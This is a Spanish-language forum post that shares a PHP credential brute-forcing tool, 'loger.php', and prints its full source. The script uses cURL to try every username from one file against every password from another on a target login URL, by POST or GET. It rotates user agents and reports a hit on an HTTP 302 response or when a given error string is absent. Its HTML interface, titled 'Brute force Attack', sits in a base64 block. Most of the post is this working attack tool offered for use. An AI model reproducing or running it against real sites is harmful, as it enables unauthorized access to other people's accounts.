Imagen



requisitos:
recuerden tener el curl activado en el php.ini

características:

prueba usuario a usuario con todas las passwords posibles
puedes definir si detectar errores al loggearse de 2 modos
métodos de envio de datos POST y GET
librería cURL


pueden descargar un ejemplo con los siguientes archivos aqui:
loger.php
usuarios.txt
password.txt
user-agent.txt
EjemploGET.php
EjemploPOST.php

[Enlace externo eliminado para invitados]


Codigo del loger.php

Código: Seleccionar todo

<?php


                /******************************\
                ****** * * * * RM * * * * ******
                ***** * Desarrollado por * *****
                ***** * * MichBukana * * * *****
                ***** * * * 04/01/12 * * * *****
                ******* * * * * * * * * * ******
                \******************************/
                /**--------------------------**\
                /**code-disaster.blogspot.com**/
                /**+++ indetectables.net ++++**/
                /**++++++ udtools.net +++++++**/
                /**--------------------------**\
                /*[email protected]*/
                /**__________________________**\
                /******************************/
                

error_reporting(0);
echo base64_decode('PGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl
eHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPC9oZWFkPgo8c3R5bGU+CmJvZHl7Y29sb3I6Z3Jl
ZW47YmFja2dyb3VuZC1jb2xvcjpibGFjazt9Cmgxe2NvbG9yOnJlZDt9Cjwvc3R5bGU+CgoKCiAg
ICA8c2NyaXB0PgogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8xKCl7CiAgICAgICAgYyA9IGRvY3Vt
ZW50LmdldEVsZW1lbnRCeUlkKCJNZXRvZG8iKTsKICAgICAgICBpZihjWzBdLnNlbGVjdGVkPT10
cnVlKXsKICAgICAgICAgICAgZm9ybXUuY2FtcG8xLmRpc2FibGVkPXRydWU7Zm9ybXUuY2FtcG8y
LmRpc2FibGVkPXRydWU7ICAgICAgICAgICAgCiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIGZv
cm11LmNhbXBvMi5kaXNhYmxlZD1mYWxzZTtmb3JtdS5jYW1wbzEuZGlzYWJsZWQ9ZmFsc2U7CiAg
ICAgICAgfQogICAgfQogICAgCiAgICBmdW5jdGlvbiBjYW1iaW8yKCl7CiAgICAgICAgYyA9IGRv
Y3VtZW50LmdldEVsZW1lbnRCeUlkKCJNb2RvIik7CiAgICAgICAgaWYoY1swXS5zZWxlY3RlZD09
dHJ1ZSl7CiAgICAgICAgICAgIGZvcm11LkJhZF9TLmRpc2FibGVkPXRydWU7Zm9ybXUuQ29kZV9S
LmRpc2FibGVkPWZhbHNlOyAgICAgICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgICAgICBm
b3JtdS5CYWRfUy5kaXNhYmxlZD1mYWxzZTtmb3JtdS5Db2RlX1IuZGlzYWJsZWQ9dHJ1ZTsKICAg
ICAgICB9CiAgICB9CgogICAgPC9zY3JpcHQ+CjxjZW50ZXI+CjxiciAvPjxoMT5CcnV0ZSBmb3Jj
ZSBBdHRhY2s8L2gxPjxiciAvPjxiciAvPgoKPGZvcm0gbmFtZT1mb3JtdSBtZXRob2Q9IlBPU1Qi
IGFjdGlvbj0iIj4KICAgIAogICAgICAgIFVSTCBkZWwgbG9naW4gZG9uZGUgc2UgdmEgYSBhdGFj
YXI8YnIgLz4KICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXJsX2xvZyB2YWx1ZT0naHR0
cDovL2xvY2FsaG9zdDo4ODg4L2Rlc2Fycm9sbGFuZG8vYnJ1dGVfZm9yY2UvRWplbXBsb1BPU1Qu
cGhwJyBzaXplPTgwPjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgTel0b2RvIGRlIGVudmlvIGRlIGRh
dG9zIEhUVFAKICAgICAgICA8c2VsZWN0IGlkPSdNZXRvZG8nIG5hbWU9TWV0b2RvIG9uY2hhbmdl
PSJjYW1iaW8xKCkiPgogICAgICAgICAgICA8b3B0aW9uPlBPU1Q8L29wdGlvbj4KICAgICAgICAg
ICAgPG9wdGlvbj5HRVQ8L29wdGlvbj4KICAgICAgICA8L3NlbGVjdD48YnIgLz4KICAgICAgICA8
aHIgd2lkdGg9Ijc1JSIgLz4KICAgICAgICBNb2RvIGRlIGNhcHRhY2lvbiBkZSBlcnJvcmVzCiAg
ICAgICAgPHNlbGVjdCBpZD0nTW9kbycgbmFtZT1Nb2RvIG9uY2hhbmdlPSJjYW1iaW8yKCkiPgog
ICAgICAgICAgICA8b3B0aW9uID4xPC9vcHRpb24+CiAgICAgICAgICAgIDxvcHRpb24gPjI8L29w
dGlvbj4KICAgICAgICA8L3NlbGVjdD48YnIgLz4KICAgICAgICBNb2RvIDE6IENvZGlnbyBkZSBy
ZXNwdWVzdGEKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Q29kZV9SIHZhbHVlPTMwMiBz
aXplPTE+PC9pbnB1dD48YnIgLz4KICAgICAgICBNb2RvIDI6IHBhcnRlIGRlIGxhIHN0cmluZyBk
ZXZ1ZWx0YSBlbiBjYXNvIGRlIGVycm9yCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBuYW1lPUJh
ZF9TIGRpc2FibGVkPWRpc2FibGVkIHZhbHVlPWluY29ycmVjdG9zPjwvaW5wdXQ+PGJyIC8+CiAg
ICAgICAgPGhyIHdpZHRoPSI3NSUiIC8+CiAgICAgICAgQXJjaGl2byBkZSB1c3VhcmlvcyBleHRy
YWlkb3MKICAgICAgICA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJjaGl2b1UgdmFsdWU9dXN1YXJp
b3MudHh0PjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgQXJjaGl2byBkZSBwYXNzd29yZHMgZXh0cmFp
ZGFzCiAgICAgICAgPGlucHV0IHR5cGU9dGV4dCBuYW1lPWFyY2hpdm9QIHZhbHVlPXBhc3N3b3Jk
LnR4dD48L2lucHV0PjxiciAvPgogICAgICAgIDxociB3aWR0aD0iNzUlIiAvPgogICAgICAgIG5v
bWJyZSBkZSBsYSB2YXJpYWJsZSBkZWwgZW52aW8gZGVsIHVzdWFyaW8gImxvZ2luLnBocD8ndXN1
YXJpbyc9eHh4IgogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1jYW1wbzEgZGlzYWJsZWQ9
ZGlzYWJsZWQgdmFsdWU9J3VzdWFyaW8nPjwvaW5wdXQ+PGJyIC8+CiAgICAgICAgbm9tYnJlIGRl
IGxhIHZhcmlhYmxlIGRlbCBlbnZpbyBkZSBsYSBwYXNzd29yZCAibG9naW4ucGhwPydwYXNzd29y
ZCc9eHh4IgogICAgICAgIDxpbnB1dCB0eXBlPXRleHQgbmFtZT1jYW1wbzIgZGlzYWJsZWQ9ZGlz
YWJsZWQgdmFsdWU9J3Bhc3N3b3JkJz48L2lucHV0PjxiciAvPjxiciAvPgogICAgICAgIDxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nICAgICAgTGFuemFyICAgICAgJzwvaW5wdXQ+CjwvZm9ybT4K');


//mode 1: comprobar user y pass que sean correctas a partir del código de respuesta
    //Code_Responde: codigo de respuesta en caso correcto
//mode 2: comporbar user y pass que sean correctas a partir de una parte de la string devuelta en caso de error. 
//Ejemplo: "datos introducidos incorrectos" pues por ejemplo "incorrectos"
    //Bad_String: la string de la que se habla en el mode 2
    
//metodo: POST o GET
//campos1 y 2: son los campos que se envian estos hay que definirlos en caso de que se envie el formulario via GET

/*---------------------------------------------------------------------------------*/

$url_login              = $_POST['url_log'];
$metodo                 = $_POST['Metodo'];
$mode                   = $_POST['Modo'];
$archivoUsuarios        = $_POST['archivoU'];
$archivoPasswords       = $_POST['archivoP'];
/*---------------------------------------------------------------------------------*/
if(strlen($mode)>0)echo "Resultado
";


if($mode==1)
    $Code_Responde          = $_POST['Code_R'];
if($mode==2)
    $Bad_String             = $_POST['Bad_S'];
    
if($metodo == "GET"){
    $campo1                 = $_POST['campo1'];
    $campo2                 = $_POST['campo2'];
}

$ch = curl_init();


curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER,true);

curl_setopt ($ch, CURLOPT_HTTPGET, true);



$user_agent     = file_get_contents('user-agent.txt');
$user           = file_get_contents($archivoUsuarios);
$pass           = file_get_contents($archivoPasswords);

    preg_match_all('|(.*)\n|U',$user_agent,$U_A);
    preg_match_all('|(.*)\n|U',$user,$usuario);
    preg_match_all('|(.*)\n|U',$pass,$password);


for($i=0;$i< count($usuario[1]);$i++){

    for($j=0;$j< count($password[1]);$j++){
        
        curl_setopt($ch, CURLOPT_USERAGENT, $U_A[1][$j]);
        
        if($metodo == "POST"){
            curl_setopt ($ch, CURLOPT_POST, true);
            curl_setopt ($ch, CURLOPT_POSTFIELDS, "usuario=".$usuario[1][$i]."&"."password=".$password[1][$j]);
            curl_setopt($ch, CURLOPT_URL, $url_login);
        }
        if($metodo == "GET"){
            
            $url_login2 = $url_login;
            $url_login2=$url_login."?".$campo1."=".$usuario[1][$i]."&".$campo2."=".$password[1][$j];
            curl_setopt($ch, CURLOPT_URL, $url_login2);
        }
        
        
        $result = curl_exec($ch);
        
         
        
        //código de respuesta 302 en caso de introducir datos correctos
        

        if($mode==1){
            if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302")
                echo "". $usuario[1][$i] ." & ". $password[1][$j] ." <---- Correcto
";
            else
                echo "". $usuario[1][$i] ." & ". $password[1][$j] ."
";
        }
        
        if($mode==2){
            if(strpos($result, $Bad_String)===false )
                echo "". $usuario[1][$i] ." & ". $password[1][$j] ." <---- Correcto
";
            else
                echo "". $usuario[1][$i] ." & ". $password[1][$j] ."
";
        }
    }
}
 



?>
Imagen

(cuanto más sabes, más cuenta te das de lo poco que sabes).

Mostrar/Ocultar

Responder

Volver a “Auditoria Web”